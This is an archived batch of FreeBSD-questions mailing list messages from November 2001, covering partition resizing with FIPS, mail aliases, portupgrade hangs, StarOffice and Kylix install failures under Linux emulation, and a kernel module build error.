Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'd like to dual boot my laptop with FreeBSD, but I need to reduce the size of the existing windows partition. The only tool I'm aware of for that task is Partition Magic. Is there an (open source) alternative that's easy (free) to get ahold of? TIA. --Tim __________________________________________________ Do You Yahoo!? Find the one for you at Yahoo! Personals http://personals.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 10:44:50 2001 Delivered-To: freebsd-questions@freebsd.org Received: from malkav.snowmoon.com (malkav.snowmoon.com [209.23.60.62]) by hub.freebsd.org (Postfix) with SMTP id 73A8637B41A for ; Mon, 19 Nov 2001 10:44:45 -0800 (PST) Received: (qmail 16481 invoked from network); 16 Nov 2001 21:18:02 -0000 Received: from localhost.snowmoon.com (HELO localhost) (127.0.0.1) by localhost.snowmoon.com with SMTP; 16 Nov 2001 21:18:02 -0000 Date: Fri, 16 Nov 2001 16:18:02 -0500 (EST) From: Jaime To: Praveen Bobba Cc: freebsd-questions@FreeBSD.ORG Subject: Re: your mail In-Reply-To: <09784044E77FD311B7B8009027B0D5DD4E7BBE@exaffairs.coserve.org> Message-ID: <20011116161742.M16388-100000@malkav.snowmoon.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, 16 Nov 2001, Praveen Bobba wrote: > How to forward the root user email to another user Edit /etc/aliases and then type "newaliases" as root. Jaime -- "[A]s we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of ours; and this we should do freely and generously." -- Ben Franklin, http://earlyamerica.com/lives/franklin/chapt10/index.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 10:45: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from operamail.com (operamail.infinite.com [199.29.68.126]) by hub.freebsd.org (Postfix) with ESMTP id 365B637B41A for ; Mon, 19 Nov 2001 10:44:59 -0800 (PST) Received: from bro5637 [206.191.70.3] (hogtown@operamail.com) by operamail.com; Mon, 19 Nov 2001 13:44:57 -0500 X-WM-Posted-At: operamail.com; Mon, 19 Nov 01 13:44:57 -0500 Message-ID: <000601c1712a$e3afd100$660f129f@bro5637> From: "Steve Brown" To: "Tim Erlin" , References: <20011119183340.63781.qmail@web11701.mail.yahoo.com> Subject: Re: partition magic alternative... Date: Mon, 19 Nov 2001 13:49:08 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Get FIPS2.0 here http://www.igd.fhg.de/~aschaefe/fips/ It's also at ftp.freebsd.org along with an alternative called presizer which I've not used. If you have the FreeBSD CD they're both on it under the /tools directory. FIPS worked for me, partition magic blew away my windows partition. Backup first, follow directions carefully (especially the part about turning off windows virtual memory before applying this!) Good luck! -Steve ----- Original Message ----- From: "Tim Erlin" To: Sent: November 19, 2001 1:33 PM Subject: partition magic alternative... > I'd like to dual boot my laptop with FreeBSD, but I > need to reduce the size of the existing windows > partition. The only tool I'm aware of for that task is > Partition Magic. Is there an (open source) alternative > that's easy (free) to get ahold of? > > TIA. > > --Tim > > __________________________________________________ > Do You Yahoo!? > Find the one for you at Yahoo! Personals > http://personals.yahoo.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 10:45:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from malkav.snowmoon.com (malkav.snowmoon.com [209.23.60.62]) by hub.freebsd.org (Postfix) with SMTP id 8164337B416 for ; Mon, 19 Nov 2001 10:45:11 -0800 (PST) Received: (qmail 16485 invoked from network); 16 Nov 2001 21:18:30 -0000 Received: from localhost.snowmoon.com (HELO localhost) (127.0.0.1) by localhost.snowmoon.com with SMTP; 16 Nov 2001 21:18:30 -0000 Date: Fri, 16 Nov 2001 16:18:30 -0500 (EST) From: jaime@snowmoon.com To: freebsd-questions@freebsd.org Subject: Writable directory except for a given user Message-ID: <20011116161805.D16388-100000@malkav.snowmoon.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'm trying to make a directory available to a group of users equal to all users _minus_ a given list. I know that I can use /etc/group and chgrp and chmod to allow something to be writable to approved users. However, I don't know how to do this as a "blacklist exclusion" approach. Unfortunately, I have to allow all users except for a handful to access a directory. Does anyone have a tip for this? Thanks in advance, Jaime To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 10:54:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail-relay1.mirrorimage.net (mail-relay1.mirrorimage.net [209.58.140.11]) by hub.freebsd.org (Postfix) with ESMTP id 4DC9237B416 for ; Mon, 19 Nov 2001 10:54:28 -0800 (PST) Received: from leblanc.mirrorimage.net (leblanc.mirrorimage.net [209.192.210.146]) by mail-relay1.mirrorimage.net (8.9.3/8.9.3) with ESMTP id NAA15497 for ; Mon, 19 Nov 2001 13:53:30 -0500 Received: (from leblanc@localhost) by leblanc.mirrorimage.net (8.11.6/8.11.4) id fAJIsNE00796 for freebsd-questions@FreeBSD.org; Mon, 19 Nov 2001 13:54:23 -0500 (EST) (envelope-from leblanc) Date: Mon, 19 Nov 2001 13:54:23 -0500 From: Louis LeBlanc To: FreeBSD Questions Subject: portupgrade broke something, and pkgdb -F won't fix it Message-ID: <20011119185423.GA740@keyslapper.org> Reply-To: freebsd-questions@FreeBSD.org Mail-Followup-To: FreeBSD Questions Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.3.23.2i X-bright-idea: Lets abolish HTML mail! Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ok, I just tried a portupgrade for several ports as I usually do (every couple weeks I try to catch them up), using: portupgrade -RN So it got to a point where it was trying to install wget, saying it was updating the package database, etc.. And it stopped. Still cranking CPU cycles, and all, increasing, even. But never finished. I finally broke it off and had to reinstall directly from the port. Now pkgdb -F does the same thing. It starts up, prints out the following line: # pkgdb -F [Updating the pkgdb in /var/db/pkg ... - 279 packages found (-2 +2) (...) And freezes. The CPU load for the ruby process grows to about 95%, and bounces around between that and 99%, never finishing. I'm a bit lost. Any ideas what I can do to fix this problem? Thanks Lou -- Louis LeBlanc leblanc@keyslapper.org Fully Funded Hobbyist, KeySlapper Extrordinaire :) http://www.keyslapper.org Ô¿Ô¬ Miksch's Law: If a string has one end, then it has another end. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 11: 4:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dionisios.norteamericano.cl (dionisios.ichn.cl [200.27.53.219]) by hub.freebsd.org (Postfix) with ESMTP id 4FA5A37B41A for ; Mon, 19 Nov 2001 11:04:14 -0800 (PST) Received: from kalafate ([200.27.53.218]) by dionisios.norteamericano.cl with esmtp; Mon, 19 Nov 2001 16:07:30 -0300 Message-ID: <005501c1712d$a0756640$f900a8c0@norteamericano.cl> From: "Marcelo Dominguez" To: freebsd-questions@FreeBSD.ORG Subject: questions!!! Date: Mon, 19 Nov 2001 16:08:52 -0300 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi All: I have Mysql,Php and apache webserver running on Freebsd 4.3 RELEASE, I need to connect via Web to an application done in php but that requests me user and password. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 11: 8:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rabbit.netstyle.com.ua (rabbit.netstyle.com.ua [193.193.194.5]) by hub.freebsd.org (Postfix) with ESMTP id 32B3337B418; Mon, 19 Nov 2001 11:07:48 -0800 (PST) Received: from mile.nevermind.kiev.ua (km-radio.kvazar-micro.com [213.186.199.26] (may be forged)) by rabbit.netstyle.com.ua (8.11.6/8.11.3) with ESMTP id fAJJ9PG27552; Mon, 19 Nov 2001 21:09:30 +0200 (EET) (envelope-from never@mile.nevermind.kiev.ua) Received: (from never@localhost) by mile.nevermind.kiev.ua (8.11.6/8.11.4) id fAJJEjN96256; Mon, 19 Nov 2001 21:14:45 +0200 (EET) (envelope-from never) Date: Mon, 19 Nov 2001 21:14:45 +0200 From: Nevermind To: Marcel Moolenaar Cc: Cyrille Lefevre , "David O'Brien" , Andreas Klemm , ports@FreeBSD.ORG, questions@FreeBSD.ORG Subject: Re: linux_base-{6|7} && staroffice-{52|6} (was: PORTVERSION=6.1 wrong in linux_base-62 ???) Message-ID: <20011119211445.B11785@nevermind.kiev.ua> References: <20011115211037.B721@dhcp01.pn.xcllnt.net> <200111161203.fAGC3FI05149@gits.dyndns.org> <20011116184522.A528@athlon.pn.xcllnt.net> <20011119150708.B13357@nevermind.kiev.ua> <20011119105703.A39046@dhcp01.pn.xcllnt.net> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="k+w/mQv8wyuph6w0" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011119105703.A39046@dhcp01.pn.xcllnt.net>; from marcel@xcllnt.net on Mon, Nov 19, 2001 at 10:57:03AM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --k+w/mQv8wyuph6w0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hello, Marcel Moolenaar! On Mon, Nov 19, 2001 at 10:57:03AM -0800, you wrote: > On Mon, Nov 19, 2001 at 03:07:08PM +0200, Nevermind wrote: > > > Hm, I cannot get staroffice{52|6} installed on -STABLE with any of > > those linux_base ports, I've already asked this question, but got no > > response from mb@imp.ch how ti fix this :((( Maybe you would be so kind > > to help me? > > If you gave Martin as much useful information as you gave me (none > whatsoever), then I'm not surprised he didn't reply at all. I mean > we're not psychic. No, I'll copy this info here... > > Before you ask for help again, make sure you've searched the mailing > lists and browsed the handbook to see if your problem has been > reported before, you understand the procedure and tried everything > that has been suggested. If it still doesn't work, send a concise > and complete problem description with information about your machine, > your setup and what you've done to an appropriate list (in this case > questions@FreeBSD.org). People there will help you before you can Do you think it is -questions question? I think it is ports-related one. Anyway, I'm Cc:'ing it there. See attach, copy of e-mail sent to mb@imp.ch. -- NEVE-RIPE --k+w/mQv8wyuph6w0 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="mb@imp.ch" Here is some data, please, tell me if you need anything more to track down and fix this port's problem: % /compat/linux/sbin/ldconfig -p: 116 libs found in cache `/etc/ld.so.cache' (version 1.7.0) libz.so.1 (ELF) => /usr/i486-linux-libc5/lib/libz.so.1 libz.so.1 (libc6) => /usr/lib/libz.so.1 libvgagl.so.1 (libc5) => /usr/i486-linux-libc5/lib/libvgagl.so.1 libvga.so.1 (libc5) => /usr/i486-linux-libc5/lib/libvga.so.1 libutil.so.1 (libc6) => /lib/libutil.so.1 libtexus.so (ELF) => /usr/lib/libtexus.so libtermcap.so.2 (libc5) => /usr/i486-linux-libc5/lib/libtermcap.so.2 libtermcap.so.2 (libc6) => /lib/libtermcap.so.2 libstdc++.so.27 (libc5) => /usr/i486-linux-libc5/lib/libstdc++.so.27 libstdc++.so.2.9 (libc6) => /usr/lib/libstdc++.so.2.9 libstdc++.so.2.8 (libc6) => /usr/lib/libstdc++.so.2.8 libstdc++.so.2.7.2 (libc6) => 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/usr/X11R6/lib/libICE.so.6 libGLU.so.3 (libc6) => /lib/libGLU.so.3 libGLU.so.1 (libc6) => /usr/X11R6/lib/libGLU.so.1 libGLU.so (libc6) => /usr/X11R6/lib/libGLU.so libGL.so.1 (libc6) => /usr/X11R6/lib/libGL.so.1 libGL.so.1 (libc6) => /lib/libGL.so.1 libGL.so (libc6) => /usr/X11R6/lib/libGL.so libBrokenLocale.so.1 (libc6) => /lib/libBrokenLocale.so.1 ld-linux.so.2 (ELF) => /lib/ld-linux.so.2 ld-linux.so.1 (ELF) => /lib/ld-linux.so.1 % /usr/bin/uname -a: FreeBSD mile.nevermind.kiev.ua 4.4-STABLE FreeBSD 4.4-STABLE #0: Fri Nov 2 15:56:19 EET 2001 root@mile.nevermind.kiev.ua:/usr/obj/usr/src/sys/mile i386 % /compat/linux/bin/uname -a: Linux mile.nevermind.kiev.ua 2.2.12 FreeBSD 4.4-STABLE #0: Fri Nov 2 15:56:19 EET 2001 root@mil i386 unknown % /usr/bin/env: PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/games:/usr/local/sbin:/usr/local/bin:/usr/X11R6/bin:/root/bin MAIL=/var/mail/root BLOCKSIZE=K FTP_PASSIVE_MODE=YES TERM=screen-w USER=root HOME=/root SHELL=/bin/csh HOSTTYPE=FreeBSD VENDOR=intel OSTYPE=FreeBSD MACHTYPE=i386 SHLVL=1 PWD=/usr/ports/editors/staroffice52 LOGNAME=root GROUP=wheel HOST=mile.nevermind.kiev.ua EDITOR=vi PAGER=more DISPLAY=localhost:0.0 % /compat/linux/usr/bin/env: PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/games:/usr/local/sbin:/usr/local/bin:/usr/X11R6/bin:/root/bin MAIL=/var/mail/root BLOCKSIZE=K FTP_PASSIVE_MODE=YES TERM=screen-w USER=root HOME=/root SHELL=/bin/csh HOSTTYPE=FreeBSD VENDOR=intel OSTYPE=FreeBSD MACHTYPE=i386 SHLVL=1 PWD=/usr/ports/editors/staroffice52 LOGNAME=root GROUP=wheel HOST=mile.nevermind.kiev.ua EDITOR=vi PAGER=more DISPLAY=localhost:0.0 % cd /usr/ports/editors/staroffice52; make install WITH_ADABAS=yes: ===> staroffice-5.2 depends on file: /compat/linux/lib/libc.so.6 - found Check if linprocfs is running: YES ===> Extracting for staroffice-5.2 >> Checksum OK for staroffice52/so-5_2-ga-bin-linux-en.bin. >> Checksum OK for staroffice52/109939-02.tar.Z. >> Checksum OK for staroffice52/soa-5_2-ga-bin-linux-en.bin. glibc version: 2.1.2 extracting files please wait... ===> Patching for staroffice-5.2 ===> Configuring for staroffice-5.2 ===> Installing for staroffice-5.2 StarOffice 5.2 Personal Install How-To Written by: Darren Wiebe and Martin Blapp You will very shortly have finished a network install of StarOffice 5.2. Once that is done exit X11 and run it again as the user that you usually use. Then run "make install-user" and do a standard workstation install. Change the install path to $HOME/office52. Then add $HOME/office52/ to your path. It will now be ready to use. Good Luck glibc version: 2.1.2 *** Error code 1 (ignored) An error occured during StarOffice5.2 install. Please send a mail with debug-output and some information about your FreeBSD-environment to mb@imp.ch. Thanks. *** Error code 1 Stop in /usr/ports/editors/staroffice52. *** Error code 1 Stop in /usr/ports/editors/staroffice52. *** Error code 1 Stop in /usr/ports/editors/staroffice52. % cd /usr/ports/editors/staroffice52; make install: ===> staroffice-5.2 depends on file: /compat/linux/lib/libc.so.6 - found Check if linprocfs is running: YES If you like to install staroffice with ADABAS database support, cancel this installation now and start make again with WITH_ADABAS=YES. ===> Extracting for staroffice-5.2 >> Checksum OK for staroffice52/so-5_2-ga-bin-linux-en.bin. >> Checksum OK for staroffice52/109939-02.tar.Z. glibc version: 2.1.2 extracting files please wait... ===> Patching for staroffice-5.2 ===> Configuring for staroffice-5.2 ===> Installing for staroffice-5.2 StarOffice 5.2 Personal Install How-To Written by: Darren Wiebe and Martin Blapp You will very shortly have finished a network install of StarOffice 5.2. Once that is done exit X11 and run it again as the user that you usually use. Then run "make install-user" and do a standard workstation install. Change the install path to $HOME/office52. Then add $HOME/office52/ to your path. It will now be ready to use. Good Luck glibc version: 2.1.2 *** Error code 1 (ignored) An error occured during StarOffice5.2 install. Please send a mail with debug-output and some information about your FreeBSD-environment to mb@imp.ch. Thanks. *** Error code 1 Stop in /usr/ports/editors/staroffice52. *** Error code 1 Stop in /usr/ports/editors/staroffice52. *** Error code 1 Stop in /usr/ports/editors/staroffice52. % tail -n 100 /var/log/all.log | grep setup.bin | tail -n 2: Nov 2 17:43:33 mile /kernel: pid 12690 (setup.bin), uid 0: exited on signal 11 (core dumped) Nov 2 17:43:33 mile /kernel: Nov 2 17:43:33 mile /kernel: pid 12690 (setup.bin), uid 0: exited on signal 11 (core dumped) --k+w/mQv8wyuph6w0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 11: 8:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from heorot.1nova.com (heorot.1nova.com [63.105.24.23]) by hub.freebsd.org (Postfix) with ESMTP id C935137B41E for ; Mon, 19 Nov 2001 11:08:29 -0800 (PST) Received: by heorot.1nova.com (Postfix, from userid 1000) id 8FF8418F0; Mon, 19 Nov 2001 11:45:07 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by heorot.1nova.com (Postfix) with ESMTP id 8734F18EE; Mon, 19 Nov 2001 11:45:07 -0800 (PST) Date: Mon, 19 Nov 2001 11:45:07 -0800 (PST) From: Rick Hamell To: Tim Erlin Cc: questions@freebsd.org Subject: Re: partition magic alternative... In-Reply-To: <20011119183340.63781.qmail@web11701.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I'd like to dual boot my laptop with FreeBSD, but I > need to reduce the size of the existing windows > partition. The only tool I'm aware of for that task is > Partition Magic. Is there an (open source) alternative > that's easy (free) to get ahold of? Look in /tools. It's called FIPS. :) Rick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 11:26:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from winnt.use.ch (client62-2-92-231.hispeed.ch [62.2.92.231]) by hub.freebsd.org (Postfix) with ESMTP id EBDDE37B416 for ; Mon, 19 Nov 2001 11:26:02 -0800 (PST) Subject: Re: natd failed to write packet back To: "Mike Semcheski" Cc: freebsd-questions@freebsd.org X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: FreeBSD@hm.homeip.net Date: Mon, 19 Nov 2001 20:25:58 +0100 X-MIMETrack: Serialize by Router on winnt/Privat(Release 5.0.8 |June 18, 2001) at 19.11.2001 20:26:06 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Mike, Check the /var/log/security file for the last clear message about what was denied... I assume your W2K machine tries to broadcast something on one of the port 137-139 - Joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 11:26:53 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id 5EE6637B416 for ; Mon, 19 Nov 2001 11:26:48 -0800 (PST) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id LAA06215; Mon, 19 Nov 2001 11:26:40 -0800 Message-ID: <3BF95CEE.5030907@owt.com> Date: Mon, 19 Nov 2001 11:26:38 -0800 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: "Richard E. Hawkins" Cc: freebsd-questions@FreeBSD.ORG Subject: Re: can't compile kernel over linux? References: <200111191603.fAJG3mT15236@fac13.ds.psu.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Richard E. Hawkins wrote: > I've managed to rescue my old kernel, but changes seem to be stopping > me from updating: > > make > ... > ===> libmchain > ===> linux > cc -O -pipe -march=pentiumpro -D_KERNEL -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -DKLD_MODULE -nostdinc -I- -I. -I@ -I@/../include -mpreferred-stack-boundary=2 -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -c linux_sysent.c > In file included from linux_sysent.c:14: > linux_proto.h:57: syntax error before `linux_time_t' > linux_proto.h:57: `linux_time_t' undeclared here (not in a function) linux_proto.h:517: `linux_stack_t' undeclared here (not in a function) > linux_proto.h:517: syntax error before `)' > *** Error code 1 > > Stop in /usr/src/sys/modules/linux. > *** Error code 1 > > Stop in /usr/src/sys/modules. > *** Error code 1 > > Stop in /usr/src/sys/compile/RAPTOR. > > I;'m guessing that this is happening while compiling modules, but am > far from sure. It is a known problem. If you have a recent cvsup, the fix is covered in /usr/src/UPDATING. You have to cleandir some things. Kent > > hawk > > -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://users.owt.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 11:28:54 2001 Delivered-To: freebsd-questions@freebsd.org Received: from klima.physik.uni-mainz.de (klima.Physik.Uni-Mainz.DE [134.93.180.162]) by hub.freebsd.org (Postfix) with ESMTP id 5074637B405; Mon, 19 Nov 2001 11:28:47 -0800 (PST) Received: from klima.Physik.Uni-Mainz.DE (klima.Physik.Uni-Mainz.DE [134.93.180.162]) by klima.physik.uni-mainz.de (8.11.6/8.11.4) with ESMTP id fAJJSkY18691; Mon, 19 Nov 2001 20:28:46 +0100 (CET) (envelope-from ohartman@klima.physik.uni-mainz.de) Date: Mon, 19 Nov 2001 20:28:46 +0100 (CET) From: "Hartmann, O." To: freebsd-questions@freebsd.org Cc: freebsd-emulation@freebsd.org Subject: KYLIX/Delphi on FreeBSD 4.4 boxes Message-ID: <20011119201923.Q70741-100000@klima.physik.uni-mainz.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Dear Sirs. Kylix2 is out and I tried to install it on a recently cvsupdated FreeBSD 4.4-STABLE box. The machine is a AMD K6-2/550 machine, running FBSD 4.4-STABLE as mentioned and Linux_Base 7 and several Linux graphics packages from ports collection (especially gtk and jpeg!). After solving several problems (after installation several programs need to be brandelfed to Linux due to they are brandelfed to SYSV (0)) and choosing the right installation path (it is better to make a directory in /compat/linux/usr/local/kylix2 and then symlink it to /usr/local/kylix2 and additionaly you should make a dir like /compat/linux/usr/local/kylix2bin and symlink this to /usr/local/kylix2bin to ensure Kylix finds all its programs also it is in Linuxulator mode). After the first start with 'startkylix' under fvwm2 the baheviour is the same as shown by Kylix version 1: after a while 'delphi' dumps a core with an error: illegal instruction and the startscript 'Kylix' drops. It seems that after starting the delphi core, the Linux binary 'gets sick' and I do not know why. Is anyone out here who runs Kylix successfuly on FreeBSD boxes? Thanks in advance, Oliver -- MfG O. Hartmann ohartman@klima.physik.uni-mainz.de ---------------------------------------------------------------- IT-Administration des Institutes fuer Physik der Atmosphaere (IPA) ---------------------------------------------------------------- Johannes Gutenberg Universitaet Mainz Becherweg 21 55099 Mainz Tel: +496131/3924662 (Maschinenraum) Tel: +496131/3924144 FAX: +496131/3923532 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 11:44:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from 1upmc-msximc2.isdip.upmc.edu (1upmc-msximc2.isdip.upmc.edu [128.147.18.40]) by hub.freebsd.org (Postfix) with ESMTP id 1357D37B41A; Mon, 19 Nov 2001 11:44:08 -0800 (PST) Received: by 1upmc-msximc2.isdip.upmc.edu with Internet Mail Service (5.5.2655.55) id ; Mon, 19 Nov 2001 14:43:09 -0500 Message-ID: <46AEB8C1B628D511969200508B6FE42A66877F@1upmc-msx6.isdip.upmc.edu> From: "Person, Roderick" To: "'Hartmann, O.'" , freebsd-questions@freebsd.org Cc: freebsd-emulation@freebsd.org Subject: RE: KYLIX/Delphi on FreeBSD 4.4 boxes Date: Mon, 19 Nov 2001 14:43:09 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C17132.6AEAC9C0" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C17132.6AEAC9C0 Content-Type: text/plain; charset="iso-8859-1" I've been trying to get this to work too. I've looked at the core dump and it seems that kylix makes a call to _sigsuspend. I'm not at home so I don't have the full error at hand. But it seems this is a Linux system call that is not implemented in the linux base as far as I can tell. I found only a few emails related to this in the archives. Someone was working on it, but I can find out if it was ever completed or worked. I've sent out e-mails but no replies. I taken a break but may get back to it in a few days. Roderick P. Person Programmer II (412)454-2616 personrp@ccbh.com "Without censorship, things can get terribly confused in the public mind." - General William Westmoreland > -----Original Message----- > From: Hartmann, O. [mailto:ohartman@klima.physik.uni-mainz.de] > Sent: November 19, 2001 2:29 PM > To: freebsd-questions@freebsd.org > Cc: freebsd-emulation@freebsd.org > Subject: KYLIX/Delphi on FreeBSD 4.4 boxes > > > Dear Sirs. > > Kylix2 is out and I tried to install it on a recently cvsupdated > FreeBSD 4.4-STABLE box. The machine is a AMD K6-2/550 machine, > running FBSD 4.4-STABLE as mentioned and Linux_Base 7 and several > Linux graphics packages from ports collection (especially gtk and > jpeg!). > > After solving several problems (after installation several > programs need to be brandelfed to Linux due to they are brandelfed > to SYSV (0)) and choosing the right installation path (it is better > to make a directory in /compat/linux/usr/local/kylix2 and then symlink > it to /usr/local/kylix2 and additionaly you should make a dir > like /compat/linux/usr/local/kylix2bin and symlink this to > /usr/local/kylix2bin > to ensure Kylix finds all its programs also it is in > Linuxulator mode). > > After the first start with 'startkylix' under fvwm2 the > baheviour is the > same as shown by Kylix version 1: after a while 'delphi' dumps a core > with an error: illegal instruction and the startscript 'Kylix' drops. > It seems that after starting the delphi core, the Linux > binary 'gets sick' > and I do not know why. > > Is anyone out here who runs Kylix successfuly on FreeBSD boxes? > > Thanks in advance, > Oliver > > -- > MfG > O. Hartmann > > ohartman@klima.physik.uni-mainz.de > ---------------------------------------------------------------- > IT-Administration des Institutes fuer Physik der Atmosphaere (IPA) > ---------------------------------------------------------------- > Johannes Gutenberg Universitaet Mainz > Becherweg 21 > 55099 Mainz > > Tel: +496131/3924662 (Maschinenraum) > Tel: +496131/3924144 > FAX: +496131/3923532 > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-emulation" in the body of the message > ------_=_NextPart_001_01C17132.6AEAC9C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: KYLIX/Delphi on FreeBSD 4.4 boxes

I've been trying to get this to work too.

I've looked at the core dump and it seems that kylix = makes a call to _sigsuspend. I'm not at home so I don't have the full = error at hand. But it seems this is a Linux system call that is not = implemented in the linux base as far as I can tell. I found only a few = emails related to this in the archives. Someone was working on it, but = I can find out if it was ever completed or worked. I've sent out = e-mails but no replies. I taken a break but may get back to it in a few = days.

Roderick P. Person
Programmer II
(412)454-2616
personrp@ccbh.com

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> -----Original Message-----
> From: Hartmann, O. [mailto:ohartman@klima= .physik.uni-mainz.de]
> Sent: November 19, 2001 2:29 PM
> To: freebsd-questions@freebsd.org
